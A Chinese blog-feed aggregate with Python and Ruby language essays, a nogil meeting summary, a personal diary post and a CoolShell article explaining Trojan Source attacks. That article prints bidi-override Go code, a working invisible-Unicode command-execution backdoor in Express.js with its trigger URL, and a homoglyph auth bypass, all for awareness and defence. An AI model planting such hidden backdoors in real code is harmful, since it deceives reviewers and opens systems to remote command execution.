F# 不是我自己特别熟悉的语言,但它作为 .net CLR(公共语言运行时)推荐的函数式编程语言,所以还是值得关注。
学习这些语言,你可以深入了解 Python 自己的计算管道建模工具,包括容器推导式、生成器、生成器表达式、functools 和 itertools 标准库,以及第三方的 Python 函数工具包,比如 toolz。

事件驱动编程:JavaScript、Go、Erlang、Elixir

计算管道是处理数据转换和分析问题的一种极佳的方法,但许多问题需要程序作为持久性服务运行,等待事件发生,然后处理那些事件。在这类服务中,为了能够同时容纳多个用户(或多个操作),通常必须要并发地处理多个事件。
JavaScript 最初是作为 Web 浏览器的事件处理语言而开发的,允许网站开发者在本地响应客户端操作(如鼠标点击和按键敲击)和事件(如网页完成了渲染)。所有现代浏览器都支持它,它与 HTML5 领域对象模型(DOM)一起,已经成为一种定义用户界面外观和行为的事实上的标准。
Go 是谷歌设计的一种用于创建高度可伸缩的 Web 服务的专用语言,并且已经被证明是一种非常适合开发命令行应用程序的语言。从编程语言设计的角度来看,Go 最有趣的方面是在其核心并发模型中使用了通信顺序进程(Communicating Sequential Processes)概念。
Erlang 是由爱立信设计的专用语言,用于创建高度可靠的电话交换机以及类似的设备。它被用于开发出了流行的 RabbitMQ 消息代理中间件。Erlang 使用 Actor 模型作为核心的并发原语,在执行线程之间传递消息,而不是让它们直接共享数据。虽然我从未用过 Erlang 编程,但我的第一份全职工作涉及一个基于 Actor 的 C++ 并发框架,而该框架由一名前爱立信工程师开发,另外,我自己也开发了一个这样的框架,基于德州仪器(Texas Instrument)的轻量级 DSP/BIOS 运行时(现在的 TI-RTOS)里面的 TSK (Task)和 MBX (Mailbox)原语。
Elixir 出现在这份清单里,因为它被设计运行在 Erlang VM 上,提供了与 Erlang 相同的并发语义,同时还提供了一系列在语言层面上的特性,打造出一个更加全面的环境,更有可能吸引其它语言例如 Python、Java 或 Ruby 的开发者。
学习这些语言,你可以深入了解 Python 对并发和并行的支持,包括原生协程、基于生成器的协程、concurrent.futures 和 asyncio 标准库模块、第三方网络服务开发框架(如 twisted 和 Tornado)、Django 中引入的 channel 概念、GUI 框架中的事件处理循环。Python进阶

渐变类型:TypeScript

在 Python 3.5 中出现的一个比较有争议的特性是新引入的 typing 模块,它为 Python 生态带来了一个支持渐变类型的标准词典。
Python猫注:Gradual typing 是 Jeremy Siek 和 Walid Taha 在 2006 年提出的理论,允许程序中同时出现动态类型与静态类型。国内有人将其翻译为“渐进类型”、“渐近类型”、“渐进定型”、“动静混合类型”等等,但我觉得并不够好。渐变类型也许是我的首创,借鉴自 Photoshop 的渐变颜色,表达出从动态类型到静态类型的过渡(或者说交融共处的)特点。“渐变”一词有打破界限分明的状态(如大小、远近、明暗),从而达到中和状态的含义。
对于那些主要从 C、C++ 和 Java 等语言中接触静态类型的人来说,这似乎是一个令人吃惊的糟糕特性(因此引发了争议)。
微软的 TypeScript 为 Javascript 程序提供了渐变类型,因此它能更好地解释这个概念。TypeScript 代码会被编译成 JavaScript 代码(然后就不包含运行时类型检查),流行的 JavaScript 库的 TypeScript 注解会维护在专用的 DefinitelyTyped 仓中。
正如 Chris Neugebauer 在澳大利亚 PyCon 演讲 中指出的,这很像是 Python 与 typeshed 类型提示库、以及像 mypy 这种类型推断和分析工具之间的关系。
在本质上,TypeScript 和 Python 中的类型提示都是编写特定种类的测试的方式,要么使用单独的文件(就像普通测试一样),要么嵌入在代码体中(就像静态类型语言中的类型声明一样)。对于这两种情况,你都要运行一个单独的命令,来检查其余代码是否与已添加的类型断言一致(对于 TypeScript,这是在编译成 JavaScript 时隐式地发生的;对于 Python 的类型提示,这是一个完全可选的静态分析任务)。

动态元编程:Hy、Ruby

C、C++、C# 和 Java 等语言的学习者在接触 Python 时,经常感到不安的一个特性是“代码即数据”(code is data):函数和类之类的东西是运行时对象,可以像其它对象一样被操纵。
Hy 是一种 Lisp 方言,可以同时在 CPython VM 和 PyPy VM 上运行。Lisp 及其方言将“代码即数据”的概念推到了极致,因为 Lisp 代码由嵌套列表组成,这些列表描述了要执行的操作(这门语言的名称本身就代表列表处理器“LISt Processor”)。Lisp 风格语言的强大之处在于,它让你非常容易编写出自己的领域特定代码。Lisp 风格语言的最大缺点是,它让你非常容易编写出自己的领域特定代码,但这可能导致每个人写的代码变得难以阅读。
Ruby 语言在许多方面与 Python 相似,但对于 Python 中“支持但不鼓励”的动态元编程特性,Ruby 社区则相对开放。这包括在已有类定义中添加新的方法,以及使用闭包来实现语言的核心结构,例如迭代。(Python猫注:关于两种语言中迭代结构的实现对比,可阅读 这篇文章
学习这些语言,可以让你深入了解 Python 自己的动态元编程特性,包括函数和类装饰器、猴子补丁、unittest.mock 标准库、以及像 wrapt 这样的第三方对象代理模块。(我不知道学习哪种语言可以深入了解 Python 的元类系统,如果有人在这方面有任何建议,请在评论中告知我。Python 的元类驱动着很多特性,例如核心的类型系统、抽象基类、枚举类型和渐变类型表达式的运行时求值。)

务实问题解决:Lua、PHP、Perl

主流的编程语言并不是孤立存在的——它们作为一个更大的生态系统的一部分而存在,这个生态系统由发行者(企业和社区组织)、终端用户、框架开发者、工具开发者、教育工作者等等组成。
Lua 是一种流行的编程语言,作为一种脚本引擎嵌入到大型程序中。标志性的例子是它被魔兽世界游戏用来编写客户端插件,它也被嵌入到了许多 Linux 发行版所使用的 RPM 组件中。与 CPython 相比,Lua 运行时的大小通常只有 CPython 的十分之一,而且由于较弱的自省能力,它更容易与程序的其它部分以及服务器的操作系统隔离开来。Lua 社区对 Python 生态的一个显著贡献是 LuaJIT FFI(Foreign Function Interface 外来函数接口),它被 CPython 和 PyPy 采用,作为支持 JIT 的 cffi 接口库的基础。
PHP 是另一种流行的编程语言,作为 Linux-Apache-MySQL-PHP LAMP 技术栈中的“P”而崛起,因为它专注于生成 HTML 页面,并且在早期的虚拟专用服务器(Virtual Private Server,简称 VPS) 提供商中广泛使用。尽管其设计上有诸多的概念性缺陷让人感到绝望,但它如今是几个极其流行的开源 Web 服务的基础,包括 Drupal 内容管理系统、Wordpress 博客引擎和维基百科的 MediaWiki 引擎。PHP 还支撑着一些重要的服务,比如 Ushahidi 平台,它是一个开源的社会化新闻发布社区。
像 PHP 一样,Perl 也是基于 Linux 而崛起。但跟 PHP 专门作为 Web 开发平台不同,Perl 是系统管理员的工具,在基于文本的 Linux 操作系统中,它使用正则表达式将命令的输出转成字符串,并进行操作。当 sh、awk 和 sed 都无法胜任某些任务时,Perl 出现并派上了用场。
学习这些语言,在编程语言设计方面,不大可能获得什么漂亮审美或者优雅概念。学习它们,最可能的是了解编程语言在现实中是如何被分发和采用的,以及这些在多大程度上取决于偶然的机会、历史意外事件、以及发行商在系统中默认集成而降低了使用门槛,而不是取决于语言本身固有的能力。Python进阶
特别是,它可以提供对以下项目的重要性的洞察:CKAN、OpenStack NFV、Blender、SciPy、OpenMDAO、PyGMO、PyCUDA、树莓派基金会和 Python 被大量商业组织采用,以保护它们在 Python 生态中不断的投入。

编程思维:Scratch、Logo

我经常跟函数式编程以及面向对象编程的拥护者们讨论,他们声称这类语言就像过程式语言一样易于学习。
如果我们谈论的是通过嵌入式编程(例如机器人)进行教学,在软件中建模的对象都有现实世界的对应物,比如学生们可以触摸的传感器、马达和继电器,那么,那我会认为 OOP 的人有一定的道理。
但是对于其他人,我现在有一个标准的挑战:拿起一本烹饪书,把其中一个食谱翻译成你认为是容易学习的编程语言,然后找一个能理解烹饪书中语言的学生,让其按照翻译好的食谱操作。其实,他们不需要真正地操作下去——只需做一个思想实验,就足以意识到他们声称的“很容易学”是假设了多少先验知识。(我很期待看到学术研究人员在现实中做这种研究——我真的很希望看到结果)
另一种解决这个问题的方法是去学习那些实际上被用来教孩子们编程思维的语言。
其中最受欢迎的是 Scratch,它使用了拖放编程界面,让学生们操纵一个独立的图形环境,它里面的电子图形可以移动,并响应环境中的事件。像 Scratch 这样的图形环境就相当于我们用来教孩子阅读和书写的图画书。
使用特殊的教育语言来操作图形环境的想法并不新鲜,最早的例子之一是 1960 年代发明的 Logo 环境。在 Logo 中(以及类似的环境,如 Python 的 turtle 模块),你主要打交道的是一个“乌龟(turtle)”,你可以通过绘制线条来指导它移动和修改环境。这样的话,命令序列、重复和状态(例如,“起笔”、“落笔”)可以基于人们的自然直觉来使用(“想象你是那只乌龟,如果你右转 90 度会发生什么?”)
回顾并重新学习这些语言,有助于有经验的程序员放下固化的观念:它们所用的概念可以提醒我们,这些概念是我们如今认为理所当然的,但初学者们需要先学习。当这样做的时候,我们能够更好地与学生和其他初学者们相处,因为我们更有可能打开逻辑的枷锁,也不会再忽略那些有必要的学习步骤。

December 13, 2021 12:00 AM

November 23, 2021

pythoncat

通过 for 循环,比较 Python 与 Ruby 编程思想的差别

作者:Doug Turnbull
译者:豌豆花下猫@Python猫
Ruby 与 Python 之间的差异在很大程度上可通过 for 循环看出本质。
Python 拥有for语句。对象告诉for如何进行协作,而for的循环体会处理对象返回的内容。
Ruby 则相反。在 Ruby 中,for 本身(通过 each)是对象的一个方法。调用者将for循环体传递给这个方法。
在 Python 的语言习惯中,对象模型服从于 for 循环。而在 Ruby 中,for 循环服从于对象模型。
也就是说,在 Python 中,如果你想自定义迭代的过程,可以让对象告诉解释器该如何作迭代:
class Stuff:
    def __init__(self):
        self.a_list = [1,2,3,4]
        self.position = 0
    def __next__(self):
        try:
            value = self.a_list[self.position]
            self.position += 1
            return value
        except IndexError:
            self.position = 0
            raise StopIteration
    def __iter__(self):
        return self
在这里,Stuff 使用 __next__ 和 __iter__ 魔术方法使自身可迭代(变为了可迭代对象)。
for data in Stuff():
    print(data)
然而,在 Ruby 的用法中,你要做的恰恰相反。你要将 for 创建成一个方法,它接收代码(body 体)来运行。Ruby 将过程代码放在代码块中,这样它们就可以被用于传递。
然后,在each方法中,使用yield与代码块进行交互,将值传递给代码块来做你需要做的事情(对于任何方法,代码块都是一种隐式参数)。
如果我们重写上面的代码,会成这样:
class Stuff
  def initialize
    @a_list = [1, 2, 3, 4]
  end

  def each
    for item in @a_list
      yield item
    end
  end
end
使用each进行迭代:
Stuff.new().each do |item|
  puts item
end
不是将数据传给 for 循环(Python),而是将循环代码传给数据(Ruby)。
但区别还远不止于此:
Python 构建类似于 for 的结构,用于各种处理;Ruby 将数据处理工作放到方法中。
优秀的 Python 代码使用列表和字典解析式来实现mapfilter,这些表达式的核心与 for/迭代的语义是相同的。
In [2]: [item for item in Stuff()]
Out[2]: [1, 2, 3, 4]

In [3]: [item for item in Stuff() if item % 2 == 0]
Out[3]: [2, 4]
Ruby 则继续使用方法优先的方式,除了each 方法,还有一系列常用于处理集合的新方法,如下所示:
class Stuff
  ...

  def select
    out = []
    each do |e|
      # If block returns truthy on e, append to out
      if yield(e)
        out << e
      end
    end
    out
  end

  def map
    out = []
    # One line block syntax, append output of block processed on e to out
    each {|e| out << yield(e) } 
    out
end
puts Stuff.new().map {|item| item}
puts Stuff.new().select{|item| item.even?}
Python 说:“你告诉我们如何迭代你的实例,我们将决定如何处理你的数据。” Python 有一些基于语言的用作迭代和处理的原语,如果要自定义迭代,只需将正确的代码添加到 for 循环体(或表达式)中。
Ruby 反转了剧本,赋予对象更深层的可定制性。是的,在某些情况下,我们可以在代码块中添加更多的控制流。是的,我们也可以把 each 方法用来做 map。但是 Ruby 允许对象们实现不同的 map 和 each(如果将“each”的实现用于“map”,可能会非常不理想,甚至不安全)。Ruby 的对象在处理其数据方面,有着更好的方法。
在 Ruby 中,对象控制着功能可见性。而在 Python 中,是语法做着控制。
地道的 Python 对数据处理有着强势的看法。Python 说:“看,90% 的代码都能很好地融入这些想法,只要遵从它,完成工作就行了。”把你的对象变成可以 for-循环的,别再烦我了。
然而 Ruby 说:“在一些重要的情况下,我们不想给调用者太多能力。”所以 Ruby 让对象去控制它们被处理的方式,并要求开发人员遵循对象想要被交互的方式。Ruby 在数据处理上没那么强势。
Python 更像是基于 C 语言的“面向对象”编程的扩展。在基于 C 的 OO 中,就像 posix 文件描述符或 Win32 窗口句柄一样,语言并不强制将“方法”与对象本身绑定。相反,对象到方法的绑定只是基于约定。
Python 认为这个过程世界是可以进化的——它升级了这种思维方式,使之更安全。自由函数是存在的(Python猫注:应该指的是内置函数,因不依赖于任何类对象,故是“自由的”),而且确实经常比对象方法更受推荐。对象是存在的,但以一种相对犹豫的方式。
类方法接收“self”作为其第一个参数,几乎与 Win32 或 Posix API 中的 C 函数接受句柄的方式相同。当函数被传递时,它们几乎被当作 C 函数指针来对待。
Python 认为程序范式(procedural paradigm)是最重要的,它是一切的关键基础,在它之上是面向对象的语义层。
然而,Ruby 却将其颠倒过来。Ruby 将面向对象作为金字塔的基础。Ruby 在代码块中包含了混乱的过程世界,让对象使用这些过程块。
Ruby 并没有为了遵循语言的过程性基础而破坏对象,而是使过程性代码适应对象的世界观。Ruby 有真正的私有方法,不像 Python 的私有方法/参数,只是出于约定。
毫无疑问,当我从系统编程的角度接触 Python 时,它对我的观感来说是很自然的。具备着在必要的时候编写 C 语言的能力,它进化了,令那个世界更加安全。也许这就是为什么它在系统资源密集的数值计算领域中,找到了用武之地。
难怪 Ruby 很适合开发人员构建更流畅、也许更安全的 API 和 DSL。Ruby 希望程序员对领域进行建模,而不是对编程环境进行建模,这对于许多工作来说,似乎是正确的方法。

November 23, 2021 12:00 AM

November 19, 2021

coolshell

源代码特洛伊木马攻击

最近,我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本,中文直译作 “双向文本”,意思是一些语言是从左到右的,而另一些则是是从右到左的(如:阿拉伯语),如果同一个文件里,即有从左向右的文本也有从右向左文本两种的混搭,那么,就叫bi-direction。术语通常缩写为“ BiDi ”或“ bidi ”。使用双向文本对于中国人来说并不陌生,因为中文又可以从左到右,也可以从右到左,还可以从上到下。

早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持,但不容易支持从右到左的脚本,例如阿拉伯语或希伯来语,并且将两者混合使用更是不可能。从右到左的脚本是通过ISO/IEC 8859-6ISO/IEC 8859-8等编码引入的,通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序,但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。

双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说,其标准为完整的 BiDi 支持提供了基础,其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。

好的,科普完“双向文本”后,我们正式进入正题,为什么Github 会出这个警告?Github的官方博客“关于双向Unicode的警告”中说,使用一些Unicode中的用于控制的隐藏字符,可以让你代码有着跟看上去完全不一样的行为。

我们先来看一个示例,下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型,然后计算其中多少个为 1 的 bit。

package main

import "fmt"

func main() {
  str, mask := "Hello, World!‮10x‭", 0

  bits := 0
  for _, ch := range str {
    for ch > 0 {
      bits += int(ch) & mask
      ch = ch >> 1
    }
  }
  fmt.Println("Total bits set:", bits)
}

这个代码你看上去没有什么 奇怪的地方,但是你在执行的时候(可以直接上Go Playground上执行  – https://play.golang.org/p/e2BDZvFlet0),你会发现,结果是 0,也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事?

如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里,你就可以看到下面这一幕。

其中有两个浅蓝色的尖括号的东西—— <202e><202d> 。这两个字符是两个Unicode的控制字符(注:完整的双向文本控制字符参看 Unicode Bidirectional Classes):

  • U+202E – Right-to-Left Override [RLO] 
    表示,开始从右到左显示,于是,接下来的文本 10x", 0 变成了 0 ,"x01
  • U+202D – Left-to-Right Override [LRO]
    表示,开始从左到右显示,于是,0,"x01 中的前4个字符0 ," 反转成  ", 0,于是整个文本成了 ", 0x01

所以,你在视觉上看到的是结果是—— "Hello, World!”, 0x01, 但是实际上是完全是另外一码事。

然后,Github官方博客中还给了一个安全问题 CVE-2021-42574 ——

在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序,可用于制作源代码,呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码,从而将目标漏洞引入人类审查者不可见的地方。

这个安全问题在剑桥大学的这篇论文“Some Vulnerabilities are Invisible”中有详细的描述。其中PDF版的文章中也给了这么一个示例:

通过双向文本可以把下面这段代码:

伪装成下面的这个样子:

在图 2 中'alice'被定义为价值 100,然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数,因此该小程序在执行时应该给我们 50 的结果。

然而,图 1 向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate) – U+2067我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能,但图 1 的输出变为 100。

除此之外,支持Unicode还可以出现很多其它的攻击,尤其是通过一些“不可见字符”,或是通过“同形字符”在源代码里面埋坑。比如文章“The Invisible Javascript Backdoor”里的这个示例:

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

上面这个代码实现了一个非常简单的网络健康检查,HTTP会执行 ping -c 1 google.com 以及 curl -s http://example.com 这两个命令来查看网络是否正常。其中,可选输入 HTTP 参数timeout限制命令执行时间。

然后,上面这个代码是有不可见的Unicode 字符,如果你使用VSCode,把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了

于是,一个你看不见的 πàñ 变量就这样生成了,你再仔细看一下整个逻辑,这个看不见的变量,可以让你的代码执行他想要的命令。因为,http 的请求中有第二个参数,这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求:

http://host:port/network_health?%E3%85%A4=<any command>

其中的,%E3%85%A4 就是 \u3164 这个不可见Unicode 的编码,于是,一个后门代码就这样在神不知鬼不觉的情况下注入了。

另外,还可以使用“同形字符”,看看下面这个示例:

if(environmentǃ=ENV_PROD){
    // bypass authZ checks in DEV
    return true;
}

如何你以为 ǃ 是 惊叹号,其实不是,它是一个Unicode ╟â。这种东西就算你把你的源码转成 DOS(CP437) 也没用,因为用肉眼在一大堆正常的字符中找不正常的,我觉得是基本不可能的事。

现在,是时候检查一下你的代码有没有上述的这些情况了……

(全文完)

 

 

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 源代码特洛伊木马攻击 first appeared on 酷 壳 - CoolShell.

by 陈皓 at November 19, 2021 09:02 AM

November 16, 2021

anji66

一地鸡毛,高歌欢进(二)

这个双十一,打折最猛的肯定不是电商,而是那波打骨折的冷空气,前一天还是30度的热辣艳阳,后一天就成15度的萧瑟阴霾了。秋天还没来,冬天就上赶着催着它走了。淬不及防找出秋衣秋裤,洗晒妥当赶紧扒上,毕竟我这冻死鬼投的胎可扛不住这番造,果不其然,这还没两周就咳嗽上了,又是鼻窦炎又是咽炎的。


博客搬家了

我的三年云服务器终于到期了,阿里云这个续费的坑能填几个新购的量了,外加老客户与go不得享受优惠,终究是对阿里云错付了。趁着双十一,鹅云的还不错,又买了三年的245的主机,一共546块钱,工作越来越忙,时间越来越少,也不是挤不出时间写博,只是那拖延症的毛病又在作怪。明年抽空改个版,博客的小程序上次也只做了一半,页面做好了,接口没写,还有几个之前的半拉子工程争取一次性解决了。要不然这500多块钱不又白花了。迁移完数据,在鹅云里面做备案,备案倒是也简单,只是我的备案名称是编程技术,为了顺利通过只能改title,对SEO来说这是大忌,可惜了我的排名啊。

1.jpg


出差之又见黄芩

到衢州后,公司是提供宿舍的,但是洗漱用品还得买嘛,就逛了一下小超市,买点牙膏牙刷毛巾啥的,也就临时用用,所以图便宜是第一位,看着价签,突然一款5块多钱的牙膏映入眼帘,再一看,这不是黄芩么,瞬时满满的回忆涌上心头,小时候一直刷着黄芩,直到多年后佳洁士霸占市场后才很少见到它,这一晃已是十几年了。小时候除了刷牙,有个蚊虫叮咬、烫伤啥的都会挤点牙膏抹上,感觉就是万能膏药。怎么着也得买上一只国货精品,回来百度了一下,黄芩的原厂家杭州牙膏厂业已倒闭,这焕发的新生是在另外一家厂商的作品了,试了一下还是那个配方,还是那个味道。

2.jpg


出差之车祸

衢州的雨真是丰富的都有层次感了,夏天去暴雨倾盆,秋天去绵延不绝。去十次,八次都不落空,也不知是雨神附体还是冲撞了龙王。早上出门都快到公司了,路口直行正好跳红灯,我也就干脆提前左转走再直行也就到了,好死不死算准了红灯没算准电瓶车,转过来的时候,眼睁睁的看着电瓶车给撞上来了。如图所示,我正常左转绿灯左转,驶向第一根车道,转到路中间发现竟然有辆电瓶车和我同向形式,但是在逆向非机动车道上,正好处在我的A柱盲区中,等我转过来才发现她,她径直的把我车从头到尾来个刮擦,万幸,人是缓慢倒地,没摔着,并且还是非法带人,一车俩人,估计也是四只脚做了支撑,要不然后果不堪设想。下车,打双跳,扶起对方两人,询问是否受伤,答曰没伤到,询问是否需要报警处理,二人也是自知理亏,逆行+违法带人+闯红灯,连连说不用了,没事没事,再问希望怎么处理,二人也说不出个所以然,我就说你们确定人没受伤就行,其它都是小事,对方电瓶车反光镜松动了,也拧不正了,我就说要么我赔100块钱你去修下电瓶车吧,这事就算了,我车刮伤我自己处理。对方也同意了,问了支付宝没有,微信没有真实愁坏我了,还好小伙伴身上带着现金,把钱交她们手上再次确定是否受伤是否需要报警,明确后我们也就各自散了。整个处理流程没啥问题,但是我忘了我三问是否受伤和是否需要报警处理没有录音,就怕万一后面给我纠缠就麻烦了,事故本事我正常行驶,当属无责,但是作为路权较低的一方,一般交警定责的话我会承担一个次要责任,路口没有注意观望这一条。

3.jpg

4.jpg


出差之违章

真是活久见,今年一年的文章把之前5年的量都给补上了。去公司那条必走的路,走了这么多次,竟然没发现这路上还有个测速,问题是走了这么多次我也没超速,这早上是起床晚了着急了,没留心,咔嚓一张高清超速,测速闪灯的那一刻我看了一下后视镜,难怪刚刚明明跑的比兔子还快,这会儿在后面当乌龟呢?到公司一打听,这路测速是真的,并且这条没什么车看似乡道的路道路等级竟然是城市快速路,MMP,6分200,这玩的有点大了。

5.jpg


改造卫生间的换气

因户型的原因,我家卫生间的窗户是连着厨房外一个生活阳台的,而为了防止楼下窜烟上来,我把生活阳台给封了个窗户,这下卫生间的潮气臭气就没地去了,卫生间浴霸抽的湿气等于全部集聚在吊顶的里面,而生活阳台的窗户上我原本是开了一个6公分的孔的用于给热水器排烟。所以就想着给改造一下,让卫生间顶部的湿气全部通过热水器排烟孔散出去。改造方案也简单,就是在排烟孔位置加一个三通,然后卫生间顶部原来的排气孔位置加一个管道风机,将浴霸抽上来的湿气通过管道风机再抽一道并排出去。网购配件:三通、管道风机、排烟软管。结果也不知道是PVC三通的尺寸不准还是玻璃开孔不准,反正就是塞不进去。没辙我就用薯片的罐子手动做了一个三通,正好薯片罐子里面有一层铝箔,倒也是起到防潮隔热的作用,用胶带胡乱的缠了上去,取下卫生间的扣板吊顶,扩大排气孔,把管道风机装上,扣好扣板,就完事了。这样浴霸风机抽上来的湿气和臭气,再经过管道风机抽到室外,妥妥的“新风”系统了。

6.jpg

7.jpg

8.jpg


可怕的谣言

那几天商务部出了个啥鼓励居民存储生活必需品的鬼新闻,加上前段时间什么高铁修到台北、台湾解放后军费用于民生等等,也不知道哪些蠢货将这些联想到一起要打台湾了,疯狂的屯米屯盐屯油。导致我老父亲在乡下一瞬间就买不到米面油了,疯狂的给我打电话让我备生活物资,说老家镇上啥都卖空了,我回我父亲,上海2500W人口,如果米面油都买不到了,那老百姓不得造反啊,不慌,不用买,父亲恁是把我数落一顿,非的逼我去买,况且我还在衢州呢,竟然让我在衢州买米带上海去,我不得疯啊。挂了父亲的电话,也就没把这事放心上,毕竟那年福岛核电站事故,当年屯的盐足足吃了我2年,再也不干这傻事了,回到上海逛下超市,米油盐堆积如山,生活依旧。话说回湾湾这事,真要打仗那也不是商务部出来发这个什么鬼通知,真到那时就是国防动员了,依稀记得96年台海危机,浙江作为对台作战的一线,当年我们家那儿大大小小的林地驻扎的全是部队,大点的林子里面都挖的战壕,坦克进出。那是真的差点打起来,只是箭在弦上没发罢了。况且我在衢州那几天,头顶歼二十都没飞出来,打个屁啊打。

9.jpg

10.jpg


数字人民币

天还没转凉的时候,薅了交行和工行的人民币红包,两个共计40块,下载数字人民币APP,找个全家便利店,爽爽的花掉,那感觉就跟吃了蜜糖似的。还薅了邮政的15元数字人民币,只能用在美团单车上,到现在也没花出去,不爽。因为数字人民币能离线支付,就想着用两个NFC手机互相转一下看看,才发现这种红包式的数字人民币只能消费不能转账,只有自己充值进去的数字人民币可以互相支付。哦对了,数字人民币红包没花掉的部分到期会被回收。就跟优惠券差不多,没多大意思,便利性和隐私性还不错,就看什么时候能大规模铺开了。

微信图片_20211117082845.jpg


王者农药

与年轻人之间的代沟越来越大,出差在外的晚上正好也无聊就让小弟们带我打农药,反正他俩也要玩,就顺便带下我这老头子了,也好有个共同话题,只是这打游戏是真的是不太适合我这老年人了。打不着人不说还尽送人头。这回来几天让王老师也带着我飞了几天,之前到还好,越到后面越觉得对面也都是扮猪吃老虎的主,翻车概率越来越大。试问哪个大佬能带我一直飞?

11.jpg


豆瓣账号

前段时间二刷了长津湖,因大姨父曾经是抗美援朝老兵,就想着去写个影评啥的,没成想豆瓣更新了隐私政策后要实名手机才能写影评了,就去绑定我的手机,发现我的手机被另外一个号绑定了,只能去用手机号登录,发现系统又提示因为违规手机号被锁定了,无法登录也无法解绑,没办法,只好默默的给豆瓣管理员写了一封真情实意的邮件,寻求帮助,豆瓣这几天回复了,并且顺利帮我的手机号解绑,赶紧上号,绑定手机,又能愉快的玩豆瓣了。

未标题-1.jpg


by 西枫里 at November 16, 2021 02:56 PM

November 14, 2021

pythoncat

Python 官方研讨会,彻底移除 GIL 真的可行么?

作者:Łukasz Langa
译者:豌豆花下猫@Python猫
在一年一度的 Python 核心开发者 sprint 会议期间,我们与 Sam Gross 举行了一次会议,他是 nogil 的作者。nogil 是 Python 3.9 的分叉版本,移除了 GIL。这是一份非正式的会议纪要。

简单总结

Sam 的工作证明了以他的方式删除 GIL 是可行的,即生成的 Python 解释器的性能良好,并且可以随着 CPU 内核的增加而扩展。为了最终达到正面的效果,还需要有其它看似无关的解释器工作。
目前还不可能将 Sam 的更改合并到 CPython,因为他的更改是针对 3.9 分支进行的,便于用户拿当前 pip 可安装的库和 C 扩展对 nogil 解释器进行测试。如果要合并 nogil,就不得不基于 main 分支进行更改(目前 main 分支已规划为 3.11)。
不要指望 Python 3.11 会移除 GIL。 将 Sam 的工作合并到 CPython 本身将是一个艰苦的过程,但这仅仅是所需的一部分:在 CPython 移除 GIL 之前,需要为社区制定一个良好的向后兼容的迁移计划。这些都还没有计划好,所以我们认为时机还没到。
有些人在谈论如此巨大的变化时提到了 Python 4。核心开发人员当前没有计划发布 Python 4,事实上恰恰相反:我们正积极地避免发布 Python 4,因为 Python 2 到 3 的转换对社区来说已经足够困难了。现在考虑或者担心 Python 4,肯定还为时过早。

介绍 nogil

Sam 发布了他的代码,同时还有一篇详细的文章,解释了该项目的动机和设计。
他的设计可以总结为:
  • 为了线程安全,将 Python 内置的分配器pymalloc替换成mimalloc ,对字典和其它集合对象采用无锁读写,同时提升效率(堆内存布局允许在不维护显式列表的情况下找到 GC 跟踪的对象)
  • 用有偏见的引用计数(biased reference counting)替代非原子的急切的引用计数(non-atomic eager reference counting):
    • 将每个对象与创建它的线程(称为 owner thread)绑定;
    • 对象在 owner thread 内使用时,采用快速的非原子的局部型引用计数;
    • 对象在其它线程内使用时,采用较慢的但原子的共享型引用计数;
  • 为了加快跨线程的对象访问(因为会被原子的共享型引用计数拖慢),引入两种技术:
    • 有些特殊对象是永生的,这意味着它们的引用计数永远不会被计算,也永远不会被释放:这包含像 None、True、False 这样的单例对象,小整数和常驻的字符串,以及静态分配的内置类型 PyTypeObjects;
    • 其它全局可访问对象使用延迟引用计数(deferred reference counting),如顶级的函数、代码对象和模块;它们不是永生的,并不总是在程序的生命周期内存活;
  • 调整循环的垃圾回收器成一个单线程的 stop-the-world 垃圾回收器:
    • 等待所有线程在一个安全点(任何字节码的边界)挂起;
    • 不等待阻塞在 I/O 的线程(使用PyEval_ReleaseThread ,相当于在当前 Python 中释放 GIL);
    • 高效地构造对象的列表,以便即时地释放:得益于mimalloc, GC 跟踪的对象都保存在一个单独的轻量级的堆中;
  • 将全局进程的 MRO 缓存迁移到局部线程里,避免查找 MRO 时的争用;缓存失效仍然是全局性的;
  • 修改内置的集合类对象,使之成为线程安全的。
Sam 的设计文档包含了这些设计元素的细节,包含线程状态与 GIL API 的信息,以及解释器和字节码的其它修改(用带有累加器的寄存器 VM 替换堆栈VM;通过避免创建 C 语言的栈帧来优化函数调用;ceval.c 的其它变更;标签指针的使用;LOAD_ATTR、LOAD_METHOD、 LOAD_GLOBAL 操作码的线程安全的元数据;等等)。我建议你完整地阅读它。
Python猫注:上文出现的“stop-the-world”,有时缩写成“STW”,这是多数垃圾回收器的工作机制,表示在垃圾回收器工作时,其它线程全部暂时挂起,从而保证引用对象的准确更新,其缺点是对程序性能有所影响;“MRO”是“method resolution order”的缩写,即“类方法解析顺序”,表示在所有基类中搜索成员方法时的次序。

早期的基准测试

